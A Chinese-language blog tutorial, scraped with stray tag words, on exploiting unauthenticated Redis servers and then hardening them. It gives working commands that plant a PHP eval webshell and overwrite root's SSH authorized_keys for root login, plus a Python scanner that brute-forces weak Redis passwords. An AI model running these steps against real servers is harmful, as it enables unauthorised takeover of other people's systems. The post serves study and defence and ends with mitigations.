Redis 未受權訪問漏洞(附Python腳本)

0x01 環境搭建

#下載並安裝
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#啓動redis服務
cd src
./redis-server

啓動redis服務進程後,就可使用測試客戶端程序redis-cli和redis服務交互了。 好比:php

root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379> ping
PONG
192.168.125.140:6379>

0x02 未受權訪問漏洞測試

使用redis客戶端直接無帳號成功登陸redis:html

從登陸的結果能夠看出該redis服務對公網開放,且未啓用認證。python

利用redis寫webshell

利用前提:web

1.redis未受權 能redis-cli連上redis

2.開了web而且知道路徑(如利用phpinfo)shell

咱們能夠將dir設置爲一個目錄a,而dbfilename爲文件名b,再執行save或bgsave,則咱們就能夠寫入一個路徑爲a/b的任意文件:數據庫

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

當數據庫過大時,redis寫shell的小技巧:c#

<?php 
set_time_limit(0);
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>

利用"公私鑰"認證獲取root權限

 ssh免密碼配置安全

ssh-keygen -t rsa -P ''     #生成公鑰/私鑰對                           
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #將公鑰寫入 foo.txt 文件
鏈接 Redis 寫入文件
cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
./redis-cli -h 192.168.125.140
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

利用私鑰成功登陸redis服務器服務器

 

0x03 Pyhton腳本自動化測試

可用來測試是否存在未受權或弱口令的狀況

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未受權訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

Redis測試:

0x03 解決方案

一、比較安全的辦法是採用綁定IP的方式來進行控制。

 請在redis.conf文件找到以下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把# bind 127.0.0.1前面的 註釋#號去掉,而後把127.0.0.1改爲你容許訪問你的redis服務器的ip地址,表示只容許該ip進行訪問,這種狀況下,咱們在啓動redis服務器的時候不能再用:redis-server,改成:redis-server path/redis.conf 即在啓動的時候指定須要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個方法有一點不太好,我不免有多臺機器訪問一個redis服務。

二、設置密碼,以提供遠程登錄

打開redis.conf配置文件,找到requirepass,而後修改以下:

requirepass yourpassword
yourpassword就是redis驗證密碼,設置密碼之後發現能夠登錄,可是沒法執行命令了。

命令以下:
redis-cli -h yourIp -p yourPort//啓動redis客戶端,並鏈接服務器
keys * //輸出服務器中的全部key
報錯以下
(error) ERR operation not permitted

這時候你能夠用受權命令進行受權,就不報錯了

命令以下:
auth youpassword

 

關於我:一個網絡安全愛好者,致力於分享原創高質量乾貨,歡迎關注個人我的微信公衆號:Bypass--,瀏覽更多精彩文章。

 

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未受權訪問漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未受權訪問配合 SSH key 文件利用分析  http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未受權訪問漏洞利用姿式 http://www.jianshu.com/p/e550628ba1bc

相關文章
相關標籤/搜索